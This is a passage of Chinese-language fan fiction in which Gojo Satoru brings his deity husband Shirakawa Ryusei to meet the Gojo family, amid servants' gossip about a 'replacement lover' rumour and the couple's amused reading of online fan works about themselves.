“枫姐姐,你怎麽看啊?” 五条枫用吸管搅着冰块,“肯定是黄泉津没错。” 10号之前很难让五条枫相信白川琉世就是黄泉津,15号之前也令人存疑,但15号之后,这种事不是很明显了吗! “哎呀,对吧,我希望他是转世,本人的话,不是喜欢千年前的觉大人吗?再找悟大人算什麽呢,替身?” “那不行啊,就算是神也不能找悟大人当替身,再经受一次情伤,我都不敢想象悟大人有多难过。” “这种事情不要啊。”其中一个侍女忧伤地说,“根据恋爱漫画走向,神明对悟大人的爱,应该是创建在‘你是我爱人的转世’上,最后兜兜转转,就算经历了误会、反转、再误会、再反转的感情确认,神明变成‘其实我发现我喜欢的是你’,但这种剧本过程主打一个血虐啊!” 女孩们讨论的声音嘈杂起来。 “他最好是转世,双转世互相吸引我嗑爆。” “我更爱虐恋情深,但如果悟大人是被虐的那个,我拒绝。” “怎麽这样啊,想到黄泉津所做的一切,都是为了觉大人,我真的很为悟大人难过啊!” “是啊,他还那麽高兴的晒结婚戒指呢。话说悟大人心里明白是怎麽回事吧?明知自己是替身还无法自拔,逐渐陷入温柔的樊笼无法挣脱,深夜缠绵时看着恋人与自己对视的爱慕眼神,会不会瞬间抽离出来,想到那人看的是另一双六眼呢?” “啊啊啊不要啊黄泉津我杀了你!” “这麽会说?赏你今晚给我写文做饭吃。” “我今天要弑神,我们在招待他的茶饮里下毒吧?” “你冷静啊!” “我知道觉大人是六眼,不过也是白发吗?” “是白发,家里有记载的。” “你有没有仔细看帖子啊,有一格里面有觉大人的遗容,和悟大人长得一模一样!” “那完了啊啊啊啊!” 五条枫在混乱中咳嗽了一声,因为她平时消息最灵敏,大家都停下来听她说话。 “其实也不一定是悟大人当替身,但也同样离谱就是了。这个消息一般人不知道……,半年前,彻大人就把白川的身份调查了个遍,白川在11年前失踪,今年年初才回来,而且失踪前,脸上没有斑纹。” “诶?!”众人反应了一会,有个脑子转得快的说,“那不就是……穿越?” “大概是这样了。”五条枫压低声音,“不要在网上说出去哦,这些事还要看悟大人他们的意思。” “那就变成了悟大人先,觉大人后?替身攻守之易势?” “不知道啊,平安京那部分的内容太少了,基本都是打架,怎麽不多爆点感情戏呢?” “无论谁拿谁当替身,感觉都不洁啊,感情分散给两个人,我绝对不能接受!” “对啊,而且替身文学,一定是被当做替身的那个最后成为真爱,白月光反而会沦为替身的替身。” 女孩们又开始疯狂讨论,五条枫在吵闹中重新点开帖子。新的世界意识贴由政。府接手,只发布梳理出的消息和漫画家的配图。 虽然说按照时间排序,但很多事众人分不清先后,先大致罗列了下来。 首先是狂风呼啸的冬日,古色古香的街道上,黄泉津骑在马上,和一个年轻人对话,要他把菅原家派出去讨伐宿傩的人召回。 是他们五条家的人。五条枫盯着那个长发年轻人看了又看,莫名觉得有点眼熟。 下一楼同样只有一格画面,黄泉津站在菅原觉的棺椁前,表情悲痛,而菅原觉的脸,俨然和悟大人一模一样。 接下来是清凉殿的议事和杀死宿傩的决战。决战当天,整个平安京乱成了一锅粥,不得不说这块黄泉津的表现非常出色,冷静强大,杀伐果断,而且一直考虑普通民众的安危,五条枫有些明白自己家为什麽对他极尽推崇了。 再然后是和羂索立下束缚,这块有点绕脑,好多讨论贴都聊疯了,说什麽的都有。五条枫又往后划了划,下一楼就是现代了,穿着现代服饰的黄泉津,救下了咖啡馆的虎杖和伏黑。 和虎杖两人聊天时,语气中对悟大人的亲昵,不仅让两人感到疑惑,更是让网友连夜开几千贴分析讨论。 然后是回收宿傩的手指,把羂索准备的受□□消除诅咒,当着禅院直哉的面祓除漏瑚,给天元的灵魂增加防护——网友们后知后觉10号的事件他早有准备,莫名其妙坐在办公桌前被叫副总监,然后宣布现代科学咒术研究部成立。 很短,一会就看完了,因为都是些碎片,没有前因后果,引起了网友相当大的讨论热情。 作为神的身份近乎明牌,毕竟“黄泉津”代表了什麽,对日本神话有些了解的人都清楚。但还有很多人猜测白川琉世是重生者、异世界穿越者、绑定系统做任务的人,网友的想象力通常十分丰富。除此之外,他们还从蛛丝马迹中查找线索,对白川琉世和五条悟的感情状态逐帧分析。 前世今生说,找替身说,热度都很大,脑洞比刚才她的小姐妹们猜的还离谱。不过整体上大家都是嗑的,属于一边迷茫一边嘴里塞满糖和刀的状态。 网友的智商可能不够,但cp嗅觉总是过分灵敏。哎,那位神明的爱,真的靠谱吗?五条枫无奈地忧思着。 * 下午四点,五条枫和侍女们,与莫名其妙等在大门内的族人们面面相觑。 悟大人说是四点回来没错,但他回来并不需要有人在门口迎接。不过,这是出事以后悟大人第一次回家,想来大家都很担心。 知道人没事是一回事,有没有亲眼看到是另一回事,更何况今天那位神明到来的日子,谁能不好奇呢?五条家不管是年轻的还是年长的,很多人站在大门附近的凉亭里,就为了等五条悟回家看他们一眼。 五条枫看到自己爷爷也在,老头拉着个脸,拐杖一下下狠狠敲着地板,气得不轻。 “哼,在家里折腾自己人就算了,在外面反而老实了?窝里横!” 五条枫:“干嘛说这麽难听,你希望悟大人在家老实点,还是在外面折腾点?” 五条长老:“以前总监部那些人,杀几个,咱们家也不是摆不平,犯得着看他们脸色?在家里那闹腾劲儿,怎麽出去就乖了?” “你关心人还挺拐弯抹角的,爷爷。”五条枫翻了个白眼,“但没办法,悟大人的性格你也知道。” 也不怪爷爷生气,她比五条悟大一岁,和全家族的人一样,是捧着五条悟长大的。一般来说,这种举全家之力供养一个人的行为,很容易造成同龄小孩的不舒服,但悟大人不一样,五条枫想,只要接触过,就知道那是本性多麽善良敏锐温柔又自信强大的人,不要怪她形容词用的太多,因为悟大人就是这麽一个人。 家里很多人是因为悟大人的六眼加无下限才捧着他,并不是为了悟大人“本身”,这点五条枫也知道。不过在悟大人长大的时间里,大家的目光很难不被他吸引,众所周知,关注就是爱,时间久了,五条家人对他多少都是偏爱的。 不然爷爷不会这麽气愤悟大人的“不争气”。 快四点半的时候,刺耳的引擎轰鸣声由远及近,一道残影闯入五条家大门,在门内的阔地停了下来。 银黑相间的摩托,涂着有些褪色的油彩,是东京街上不良喜欢骑的风格。骑车的人长腿一跨,撑在地上,给车熄火。一时间,所有人的目光都集中在他身上,半长不长的黑发,标志性的黄泉瞳和金色斑纹,身材高大,面容冷峻,以及从权力场中独断专行浸染出的惊人气势,眼睛一眯,就令人生出不敢与他对视的胆寒。 他们等待良久的五条悟,正坐在后座,抱着前面人的腰,哪还运转什麽全天候不停歇的无下限,整个人都粘贴了前面人的后背,白发被风吹得淩乱,“什麽?怎麽都出来了?” 五条家还在本家的人,男女老少上百个,几乎倾巢出动,不是站在凉亭里,就是站在附近的树荫下。 五条长老搭眼一看,两眼一黑,两个男人,这……这到底算什麽说法? “哇啊。”他的大孙女倒是激动的拿出手机,拍了张照,“真人看起来更帅了。” “这就是那位……?”“看起来倒是一表人才。”“废话,黄泉津大人能不一表人才吗?” “他和悟大人真的是……?”“我看是天作之合,就是不知道彻大人怎麽想了。”“但两个男人到底……”“不管男人女人的,寻常人哪里配得上悟大人啊?” “黄泉津不是心悦觉大人吗?”“嘘,闭嘴!别当着悟大人的面提这个,小心他听见。” 众人的窃窃私语毫无障碍地传进白川琉世的耳朵,五条悟贴在他背后肆无忌惮地大笑,“琉世,你提前把我家里人见了一遍了。” 嗯,精彩。 白川琉世面无表情地想。 今天是悟想兜风,他才把车骑出来,真是信了悟的鬼话,什麽直接开进去就行,怎麽想把鬼火直接开进岳父家都是人类婚恋史上最惊人的错误。 好在他的表情一向唬人,因此只好淡定地说, “把车停你们院子里行吗?” 第83章 请疼爱我吧·到底谁在生生世世纠缠 长长的室内走廊里,白川琉世和五条悟走在前面,五条枫专业地跟在他们身后。 其他人先行回避了,现在在面见前任家主五条彻的路上,五条枫谎称有事顺路,跟在了后面,实则为妹妹葵实时播报情况。 [枫:真了不起,你那个老板顶着一张接管五条家的脸,我忽然担心悟大人能不能驾驭住了。] [葵:没关系啦,白川先生人很好的,而且肯定会保佑咱们五条家。] 那确实,五条枫略一沉思,都供奉他上千年了,怎麽都有点情分吧。 [枫:别的不提,他俩到底准不准,别只顾着嗑,黄泉津不是和觉大人爱的死去活来的吗?] [葵:我也想过问一嘴来着,但是没敢提…姐姐,你相信我,cp我从来没嗑错过,他们绝对是真的!] [枫:悟大人母单28年,上来就谈个这样的,万一以后掰了…,现实生活中出现虐文情节是很恐怖的啊!] [葵:别担心姐姐,真的,你见过他们就懂了。] [葵:就算和觉大人真有什麽,那也是千年前的人物,不是吗?而且说不定谁先谁后呢。我们想好点,万一白川先生只是短暂地参加了觉大人的葬礼,因为觉大人和悟大人长得一模一样,太过伤心,所以被咱们家人误会了呢?] [枫:你是真会圆啊,别人的爱情也能蒙蔽你的双眼吗?合着千年前咱们家的人都是瞎子和傻子。] [葵:嘿嘿。] [葵:好紧张,你说彻大人会同意吗?] [枫:图片] [枫:同不同意有什麽用?你看那张图,悟大人算是栽了。] [葵:啊啊啊竟然是揽腰诶。姐姐,你偷拍的时候小心点,别被发现了。] [枫:开什麽玩笑!我光明正大在背后拍的,你不会以为你之前偷拍的那些,他们不会发现吧?] [葵:啊???] 真是对这个傻白甜妹妹无奈了,五条枫收起手机,看向前方。 两人都穿了衬衫和西裤,介于正式和不正式之间,一般来说,来他们这种人家见面是要穿和服的,但是悟大人随性惯了,没穿着高专制服来气彻大人就很贴心了。 从悟大人踏入五条家大门,就没见他开启无下限,不仅如此,那位的右手臂自然地从身后揽着悟大人,手搭在侧腰和……上半边屁股上。 这对吗? 她家住玻璃罩不喜欢和人肢体接触的悟大人,自然地和别人贴在一起,看样子已经习惯到没发现有什麽不对,身体自然地向对方那边靠,五条枫不用猜就看出来,他们私下里肯定贴习惯了。 矜持一点啊,悟大人,矜持!五条枫在心里呐喊,别被拿捏住了! “一会我一定要说那句台词。”两人小声交谈,五条悟的兴奋满到溢出,捏着嗓子说,“爹地~他才不是什麽穷小子呢。” 白川琉世的沉默震耳欲聋。 “跟你家比,我好像是吧?” “琉世,你一紧张,脸色像要去毁灭世界。” “我没有紧张。” 他嘴硬,心跳声却差点把五条悟吵死,又遭到了一通嘲笑。白川琉世抬手扯了扯五条悟脑后的眼罩松紧带,“别因为是你家就这麽奚落我,这麽不体贴,等着接受惩罚吧。” 五条悟轻轻颤抖了一下,忽然暧昧的气氛,让他腰侧发烫,覆在上面的手变得极其有存在感。腰下意识躲了躲,那只手却不依不饶地掐在了上面。 今天很强势啊,琉世。 五条悟改了主意,手覆上白川琉世的手,以钻进对方怀里的架势贴紧,紧贴着耳边说,“琉世大人,今天请疼爱我吧。” 两人止住了脚步。不远处的五条枫捂着嘴,悄悄停下,拼命降低自己的存在感。 “你知道自己在说什麽吗?悟。” 那种半钻进自己怀里的姿势,贴近的脸颊,交缠的炙热呼吸,得逞一样坏笑的嘴角,以为自己恶作剧成功了吗?对方一定会因为这句话脸红心跳,害羞地赶快认输吗? “嗯?不是很想听这句话吗?”五条悟微歪着头,笑意加深,那双湛蓝眼眸,现在一定藏在眼罩后面,泛着湿润的水光。 偶尔也不想娇纵坏心眼的爱人。 “晚上。”他同样粘贴对方耳侧,言简意赅。 低沉的、略微沙哑的嗓音,在脑内摩擦出酥麻的战栗,五条悟呼吸一窒,嘴角勾起愉悦的笑容,什麽也没说,只是牵起对方的手,继续向前走去。 …… 这麽会拉扯? 五条枫没有跟上去,颤抖着按亮手机。 [枫:虽然情况未明,但也不是不能先嗑一点。] * 走廊非常长,沿途有多间和室,根据五条悟的说法,五条彻一般待在最里面那间。 白川琉世踩过光可鉴人的木地板,经过一扇扇拉门,在快走到尽头时,忽然一顿。 “怎麽了,真的这麽紧张?”五条悟也跟着停下,话音刚落,却听到琉世的心跳声恢复了平稳,表情也轻松了很多。 “你那个‘心想事成’的能力发挥作用了,觉得自己不会紧张,然后催眠成功?” 白川琉世摇摇头,表情有些奇怪,有种忽然想到好笑的事情,却不得不假装没事一样。 “没事。”他同样这麽说了,主动牵着五条悟的手往前走,“走吧,快到晚饭时间了。” 这麽游刃有余?压下心里的疑惑,五条悟向前几步,拉开尽头房间的门。 * 室内有一条长长的矮桌,身着深蓝色无地的中年男人跪坐在桌头,在两人进来后没有起身,表情严肃,还有丝不确定的紧张感。 白发,和悟相似的眼型,年纪超过五十岁,有短短的胡子。 不,这些都不是重点。 白川琉世顺手柄拉门带上,五条悟率先坐在了长桌另一头,两个五条好像闹过矛盾,年轻的那个说话变成了阴阳怪气的京都腔。 “人带来了,之前吵着要看,怎麽见了一句话都不说,是害羞了吗?” “你那是什麽口气,学会好好说话之前,别来见我!”一样的京都腔,语气却直白很多。 似乎意识到不能再给白川琉世的紧张雪上加霜,五条悟长臂一捞,把人拉在自己旁边坐下,左手伸出来晃动,笑得张扬又得意。 “这位就是黄泉津大人,我们结婚了哦。”转头看向白川琉世,五条悟拉长音调,刻意换成共通话,“对吧,琉世?” “我听得懂,也会说。”出口同样是流利的京都腔,他在平安京待过挺长一段时间,虽然古话和现代京都腔有区别,但他想学什麽都能很快学会,心里顺了一下就脱口而出了。 以前没觉得这种腔调有什麽特别,但悟说的京都腔,尾音好像在撒娇一样。不行了,如果每天这麽在他耳边说话,肯定要疯了。 “你好,彻先生,我是白川琉世。” 露出15度微笑,语气平稳,态度礼貌,轻轻点头示意,不卑不亢,不冷漠也不过度表现的完美应对方式,令五条彻也挑不错任何错来。 相当有气度,不如说太游刃有余了,反而令五条彻产生更多迟疑。 他和自称为白川琉世的黄泉津对视,刚接上目光,就确定了那确实是黄泉津本人,没人能再拥有那双不似人间存在的眼睛,眸中神色温和,传达给人的感觉却是心中一切都被看穿的无所遁形。 …… 五条彻以同样的态度回应了,“我是悟的父亲,五条彻。”他扫了一眼儿子揽着黄泉津的手臂,从年初就堵在心里的一口气终于叹了出来。 五条家供奉了千年的神祗显灵,按理说是大好事,但搭上自己儿子就不妙了。两人的感情怎麽想都不容乐观,之前怀疑是骗感情,现在还不如骗感情。 黄泉津刚刚的态度是不是有点太放松了?这是见爱人家长的态度吗?越看越觉得是不够重视,没放在心上,这不代表一点也不重视悟吗?换言之,找替身这种他担心的说法似乎得到了验证。 太糟糕了,在骗感情和找替身的对比下,性别已经成为最轻的问题了。 可恶,怎麽养出来一个恋爱脑儿子。他五条彻平凡一生,走大运抽出来全世界最闪耀的SSR卡,就是给你小子当替身的?不行,绝对不行,神也不行。 “好没礼貌啊,老爹,干嘛给琉世脸色看?” 岂有此理!上来就向着外人说话,真是白养了。烦死了!怎麽养儿子也能养出养女儿的心情啊! “没关系,你父亲脾气一直有点暴躁,这点我知道。” 黄泉津在说什麽啊?怎麽茶言茶语的,不要再蛊惑悟了,他们五条家会出更多钱,修更华丽的神社供奉他的。 “见也见过了,别管这个突发老年痴呆的老头了,我饿了,我们去吃甜点吧。” 白川琉世看着磨着后槽牙的五条彻,实在没绷住,转头噗嗤笑了出来。 “喂,琉世?因为压力太大疯了?” 他开朗地露出八颗牙齿,“没有,只是想起高兴的事。” 五条彻脑内绷紧的弦,适时断了。“悟,你先出去,我要和他单独谈谈。” “哇哦。”五条悟拉下眼罩,仔细打量着笑意未减的琉世,“你在气我家老爹的天赋上,比我强多了。” 反正琉世总会莫名其妙解决所有事,五条悟没半点担忧地起身离开,拉开拉门,出去之前还不忘转头毒舌一句。 “老爹,不用担心,琉世不会把你打死的。” 五条彻捂着茶杯的手一紧,要按以前,早把茶杯往儿子那一砸了,但今天强忍了下去。 “舍不得了吧?”听到五条悟的脚步声远去,白川琉世的表情也平静下来,“刚刚那是意外,我是抱着很郑重的心情来的。” 单独和黄泉津待在一起,五条彻反而拘谨多了,但他不忘自己的坚持,犹疑地说,“……郑重?恕我没看出来。” “一开始是这样的,但没想到你是我的老熟人嘛,你肯定一点也不记得了。” 怎麽回事啊,菅原行平,到底是谁在生生世世纠缠菅原觉,不仅如此,还给自己超级加辈了是吧? 第84章 结婚届·更好看的会被嬷 夏日傍晚七点,天光还很明亮,障子门半拉着,五条枫坐在门外走廊的凳子上,膝盖上放着一个托盘,里面是几块家里厨房做的奶油大福。 这是五条悟的院子,也是五条枫的工作地点。侍女是家族的传统称呼,五条枫实际上的职位应该算生活助理,兼职五条家内务管家。 向内看,宽大的和室一览无余,本来待客用的客厅被改造成活动室的样子,墙壁上挂着大屏显示器,角落收纳着游戏机,所有放东西的家具都贴着墙,中间空出一大块能让五条悟随意滚动的局域。 此时五条家主正趴在地板上,手边堆了一大堆垃圾食品,他蠕动几下爬到门边,手臂一抬,懒洋洋开口,“枫,给我一个。” 五条枫塞给他一个大福,向屋子里的时钟望去,意有所指地开口。 “已经七点了哦。” 五条悟嚼着大福,不为所动。 “已经聊了两个多小时了哦,都超过晚饭时间了。” 五条悟咽下大福,沉默了一会,“……琉世不会正在毁尸灭迹吧。” “你也知道你的丈夫有多危险啊,悟大人。” “奚落我?扣你工资哦。” “哎呀,真是对不起。”五条枫毫无惧意地阴阳过去,“没事,刚刚和枝姑姑说去看看,假装送茶点进去,她去的话应该不会被责怪。” “什麽啊,结婚三天就忘记饥肠辘辘等待他的丈夫,三个月后岂不是要家暴我,等他出来我就和他离婚。” “你登记了吗就离婚?” 五条悟装模作样地哼了一声,翻滚到外套附近,掏出一个小本本,翻开在五条枫面前晃悠。 五条枫瞪大了双眼。 [结婚届受理证明书 夫 五条悟 一九八九年十二月七日生 夫 白川琉世 一九九一年十二月二十五日生] “啊?你P的?”五条枫大惊失色,接过结婚届反复查看,正常的结婚届是夫和妻才对,这张是夫和夫,不是她眼睛出问题了就是五条悟想结婚想疯了自己P了一个。 “琉世找政。府开了特别信道,定制婚姻,所以我们现在是日本唯一一例合法夫夫。” 五条枫放下结婚届,表情是难以消化的呆滞。 “所以说是合法入籍了?” “入籍了。” “谁入谁家?你不会告诉我你……”五条枫惊恐地捂住嘴,完了五条家主不会脱籍五条家了吧。 “琉世入了五条家,他说我脱籍太麻烦了,一大家子人指望我呢。” “哦,哦,那没事了,没事了。”五条枫长舒一口气,每当觉得悟大人离谱的时候,总会有更离谱的事来考验她的承受能力,对比下来,悟大人没有整个被连人带姓拐走,已经很令人欣慰了。 “所以黄泉津现在是……五条琉世了?” “嘁,什麽年代了啊,没有让他改姓。” 还真是新潮的不像他们五条家的人啊,五条枫冷漠地想。 …… 几分钟后,五条和枝踏入院门,气质高贵温婉的女人,穿着和服,踩着木屐,笑得眉眼弯弯,缓缓走到庭院里。 “和枝姑姑。”五条枫大声打招呼,猛地站起来,把五条悟的垃圾食品快速踢到障子门后面。 五条悟也眼疾手快,把可乐放在游戏机后面挡住,一瞬间,宽阔的和室地板上只有一小包麻薯,那是在五条和枝那勉强可以通行的零食。 “聊得很开心呢,那两位。”五条和枝没有看到两人的动作,“彻大人的笑声门外都听到了,黄泉津大人也一点架子都没有,还特意出了屋子送我,很真挚地感谢我把悟大人抚养大。这种说法太重了,我可担不起啊。” 五条悟坐在地板上,嘴角沾着麻薯馅,听到这话,露出自己也未察觉的温柔笑意。 五条和枝是从小把他照顾大的侍女,年轻的时候觉得婚姻没意思,不想结婚,在他母亲死后,就贴身照顾不满周岁的他。 在很多年里,代替了作为母亲的职责。 琉世细心的有点吓人了,虽然提过“抚养自己长大的侍女”几次,但没想到那家夥记得这麽清楚。 “真稀奇啊。”五条枫讶然,“最近彻大人心情可差了,不过相谈甚欢的话,某个人就放心了吧。” “我什麽时候不放心了?”五条悟沉默了一下,还是觉得五条彻和白川琉世相谈甚欢这种场景太过诡异,“琉世不会真的会幻术吧……” “不,也可能是和枝姑姑对黄泉津的滤镜太高了,实际上现场根本不是那麽回事?”五条枫发散思维。 “你们胡思乱想什麽呢。”五条和枝也跪坐下来,笑容令人倍感春风拂面般的温暖,“特别是枫,你想太多了,黄泉津大人怎麽会对悟大人不利呢?” 坐下后,她自然地把麻薯袋子拎起 来,去看后面的成分表,“又吃这种东西了呀。外面卖的会加添加剂的,想吃什麽家里都能做,还是少吃这种垃圾食品……” * 天色变暗后,约莫超过八点了,白川琉世才被放回去。五条彻后面兴致太好,让人开了瓶酒,可惜喝了一杯就醉倒了,看来酒量这方面也是遗传。 五条彻醉的不省人事,谈话就不了了之,后续的招待也没法办法进行。白川琉世拒绝了引路的侍女,没费什麽功夫就找到了五条悟的院子。 至从千年前,菅原家搬到“五条”附近的山上,就一直没有搬家,虽然格局难免有变化,但白川琉世大致还记得。 他站在紧闭的障子门前面,看着木门上刻着的暗纹。 是菅原家,现五条家的“飞梅”家纹。 “悟,我回来了,开下门。” 门里传来脚步走过的声音,但在不远处停下了,然后是撕开包装纸的窸窣,喀嚓喀嚓吃薯片的声音,暖黄的灯光从门缝溜出,门里的人却对外面的声音不为所动。 “小悟,五条大人,拜托了。” 五条大人拉开了一罐可乐,咕咚咕咚,美美喝了几口。 “外面又冷我又饿,没有燃着壁炉的屋子让我暖和一下,今晚我一定会冻死在外面。哎,真的要这麽无情吗,小悟?” “你喝多了?”五条悟终于拉开了障子门,“现在是七月。” “我没喝多,是你父亲喝多了。”自然地挤进屋里,他大致扫视了一眼室内陈设,这里当然已经大变样了,只有房间尺寸还和原来一样。 “还喝上了?” “对啊,我们相谈甚欢。”白川琉世又说出那个令人匪夷所思的词汇,“你吃晚饭了吗,悟?” 五条悟的目光投向垃圾桶里的一堆零食包装,意思很明显,没吃晚饭,但零食吃了不少。 “我不饿,给你留了寿司。” 白川琉世跪坐在桌前,桌上摆着一份盒寿司,掀开盖子,是用料足足的海鲜风寿司。 温度不影响口感,是不知道等人要等多久时适合准备的食物。 “因为在等我吗?对我这麽好,我超感动的,要一起吃吗?” “那我要吃鳗鱼寿司。”五条悟没有客气,坐在白川琉世旁边,张开嘴巴,让对方把寿司喂进嘴里。 越来越依赖人了。 “你们说了什麽?我还以为不到十分钟,不是你被赶出去,就是他被丢出去呢。” “只是把实际情况说了一下,别人懒得解释,你父亲总得说清楚。” 这时候绝对不能藏着掖着,否则很可能会喜提“从我们家滚出去以后别再纠缠悟”,还好五条彻对他的偏见更多来自误会,其他的解释清楚了,性别在其他问题的衬托下,好像也不是问题了。 灵魂虽然是同一个,白川琉世也没有把五条彻当成曾经的朋友,只是简单和五条彻解释了下这件事,又说了些平安京的事。他本人经历的肯定比五条家记载的真实丰富,很快就把悟的老父亲拿捏了。 “灵魂是同一个,带给你的感觉有什麽不同?”五条悟薯片不吃了,可乐也不喝了,有些在意这个问题。 “完全不同的两个人。” “完全不同?那灵魂相同没有一点意义吗?” “不会啊,会让人觉得熟悉。这麽说吧,灵魂相当于公式,□□是代入其中的参数,参数改变了,等号后的结果会变成完全不同的数字。看到相同的公式当然会觉得有缘,但总归不是那个人了。” “什麽?你是一点代餐也不吃啊。” “我吃什麽代餐,菅原行平以前就够让我操心的,你老父亲都到了知天命的年纪了,就算了吧。” “谁说他了?我说的是这个。”五条悟掏出手机,划拉几下,用刻意夸张、抑扬顿挫的语调念着。 “白川琉世立于廊下,指尖似乎还残留着他发梢间的冷香,苍蓝眼眸的恋人清冷疏离如高天原的月,温柔了神明孤寂万年的时光……” “啊?”白川琉世嚼嚼嚼,像忽然听不懂日语一样迷茫抬头。 五条悟并不理会,手指下滑,又找到一段,“看到那张一样的容颜,深藏骨髓的温柔,是否只为追寻那抹早已消散的月光?” “悟,你在说什麽?”某人迟疑地放下食物。 “热心网友写的同人文,你把我当替身,虐了我八万字以后,终于决定放下菅原觉,但我已经心灰意冷,用咒术封印了与你有关的记忆,你又追了我五万字,最终我莫名其妙原谅你了,然后我们过上了幸福的生活。” “过程全错,结果对了。不是,网友脑子里到底在想什麽?”他伸手,五条悟把自己的手机递给他,白川琉世翻了一会,双眸震颤,眼神都清澈了不少。 这是专门的二创社区吧?满屏都是他和五条悟的名字,由于网友不知道菅原觉的名字,全部用白月光代替他。 离谱,离谱!白月光和朱砂痣明明都是小悟,而且哪个心理健康的人会搞什麽替身虐恋。菅原觉只出现了一格啊,五条家的人因为家传的故事怀疑他,这能理解,但网友连菅原觉的名字都不知道,就开始清冷疏离白月光,心灰意冷五条悟了。 “你说他们是不是太闲了,悟。” “我可是很喜欢看的。”五条悟把手机抢回来,趴在地上,继续划动手机,“还有很多同人图哦。” “嗯?什麽样的?悟大人,让我看看吧。” 白川琉世也趴到五条悟身旁,摊成一长条,凑过去看手机屏幕。 “今天这麽乖巧,让你看看我的珍藏吧。” 五条悟点开账号的收藏,主页就弹出来一张大图。 图中两人站在樱花树下,“白川琉世”的手伸出,抚摸“五条悟”的脸颊。 构图和色彩都很完美,黑发青年发尾扫在肩侧,面容桀骜帅气,邪肆的笑容若隐若现。白发那个只露出美丽的侧脸,嘴角哀怨地垂着,很有骨气地偏过脸去。 “画的挺像的,就是表情怪怪的。” 他根本不会这麽装模作样的笑,悟也不可能露出好像被欺负的表情。 “你懂什麽,这是他们嬷起来了。” “什麽?”白川琉世不明所以。 “改天去问葵。” 好像很高大上的样子,白川琉世不敢吱声,看五条悟翻到第二张图。 “嘶……” 他倒抽一口凉气。 穿着黑色纹付羽织袴的“白川琉世”,和穿着白无垢的“五条悟”,端坐在屏风前微笑着。 白川琉世压根没心思看“自己”,满眼都是一身洁白的悟。优雅圣洁的白色打褂,头上戴着的白色角隐,与本身就缺乏颜色的悟和谐地融为一体,唯有那双眼睛存在感极强,点亮了一片素白的霜雪。 “这是谁画的?”他点了下页面,左上角出现了作者的名字。 “你果然是偷偷举报二创作品的阴暗男。” “哪有,我打赏她还差不多,这都能做我们的结婚照片了。” “哼,我也觉得,打赏她一下好了。” 白川琉世又往下划了几下,都是些他和悟的同人图。 “为什麽无一例外,都是你做‘妻子’的角色?” 虽然确实是这样,但网友又不认识他们。 “你好好看清楚。”五条悟摘掉眼罩,举起双手压在白川琉世的脸颊上,“你的脸。”然后凑近对方,近乎鼻尖蹭着鼻尖,“我的脸。哪张好看?” “你的。” “所以更好看的会被嬷。” “……一本正经地说出了我理解不了的东西。” “在这个变态的国家,当然也不算奇怪了。” “确实,奇怪的是当事人自己偷偷收藏了这麽多。” 白川琉世不停往下刷新,悟少说收藏了上百个,有图有文,都是他俩的,有的图尺度竟然还有点大。 他盯着一张大尺度图沉默了。 五条悟不知道什麽时候,像踩在人身上的猫一样半倚在了白川琉世身上,湛蓝眼眸闪烁着危险的、动人的神采。 “你感兴趣?一会复刻一下?” 第85章 像猫咪一样软到滑不溜手 某人一夜没睡,前半夜和丈夫玩复刻,后半夜顶着黑眼圈,暗戳戳趴在地上逛同人论坛。 悟在卧室睡觉,据说有人对亮光很敏感,普通人尚且如此,更别说背后看他一眼都能察觉到的五条悟。白川琉世跑到客厅的地板上躺下,按亮手机,心情复杂地被各种同人硬控了几小时。 啊,他洁身自好的一生就这麽被网友喜闻乐见地污蔑成各种型号的渣男。 直到天亮,他马上甩给五条葵同人论坛的链接。 [白川:葵,你睡的好吗?反正我是睡不着。] [五条葵:啊啊对不起对不起!] [五条葵:我很注意ooc的绝对没有把你写成那样!对不起以后再也不敢了!] 还有意外收获? [白川:把你写的整理一下发我邮箱。] 上司平淡的一句话,好像平时向她要数据,五条葵悬着的心终于死了。 在马上死和拖着死之间,她选择干脆点,把文颤抖着发到上司邮箱里。 天呐,嗑cp被正主逮到,她做的饭还能留住吗?不不不,重要的是,这个论坛被白川先生发现了,不会惨遭封禁吧! 五条葵发出尖锐爆鸣,从床上栽下来,向所有作者发全站广播。 [请大家把作品做好备份,准备随时搬家!] 哎,苦,谁能苦的过同人女啊。 * 滋滋声和食物的香气唤醒了五条悟,他在床上慵懒地伸展身体,赖了会床,直到脚步声来到床边,一双手替他戴上眼罩,轻轻推了推他的肩膀,“起床吃早饭了,悟,九点了。” 五条悟难得不愿意起来,直接张开嘴,“啊——。”试图向早餐撒娇然后让食物自己跳进嘴里。 “我不介意喂你,但得先刷牙啊。” 白川琉世坐在床边,衬衫袖子依旧挽起,露出肌肉结实、色泽健康的小臂,不管他轻轻抬起五条悟身体的哪个部位,那里都会软塌塌地砸回床铺,悟赖床的决心很坚定,并且睡意浓郁时,身体莫名像猫咪一样软到滑不溜手。 也没有非要悟起床的理由,白川琉世走出卧室,来到厨房。冰箱里食材不多,他做了简单的培根煎蛋,烤了吐司。整个庭院悄无人声,只有鸟鸣,这是五条家最大的一个庭院,如果千年来他们没有再扩建的话。 庭院与屋舍之间有长长的走廊,活动室,卧室,餐厅,厨房,书房,洗手间,还有一些闲置的存储室,外面是古色古香的式样,里面水电气一点不缺,风格十分现代。 他坐在餐桌前看五条葵发来的小说,字数不多,加起来不到十万字,令人惊讶的是,对事情的理解竟然惊人的准确。 J-talk里讨论正经事的人多,但也少不了把他和菅原觉的事情分析的复杂化,就算没有爱情,也有大量的“挚友”论。 只有五条葵因为多知道了一些信息——五条家传故事,和坚定嗑cp的心,把他设置为穿越平安京,误入菅原觉葬礼,因为太爱五条悟看到一样的脸感到崩溃,决定手刃宿傩保护五条家,最后穿越回来和五条悟he的人设。 他这个秘书平时粗线条又不会读空气,没想到直觉这麽准,白川琉世肃然起敬。 他打开聊天框。 [白川:葵,把里面带颜色的内容删掉,发份纯净版来。] [五条葵:啊?] [五条葵:好的!] 真是社死,救命啊!五条葵一头砸到办公桌上,boss怎麽还认真看了,想象中随便扫几眼就关掉的幻想破灭了。 没办法,只好打开计算机疯狂修文,把感情戏能删就删,破罐子破摔发了出去。 今天并不是休息日,但没人计较已经升为总监的上司的出勤情况,五条葵把需要处理的事项一并发了过去。 [五条葵:嘿嘿,白川先生,昨天顺利吗?] [白川:当然。] 白川琉世根本没把五条家当做阻碍,手拿把掐,早晚的事。 他扫着葵发过来的事项,同时,新邮件弹了出来。 昨天五条彻连他邮箱都加上了,怎麽不算顺利呢。 [五条彻:中午一起用餐吧,白川先生。] [白川:很荣幸,彻先生。] 这样互相称呼确实有点怪,但两人也想不到更好的说法了,客套了没几句,五条彻开门见山。 [五条彻:我有个不情之请,劝说悟辞掉教师的工作吧。] 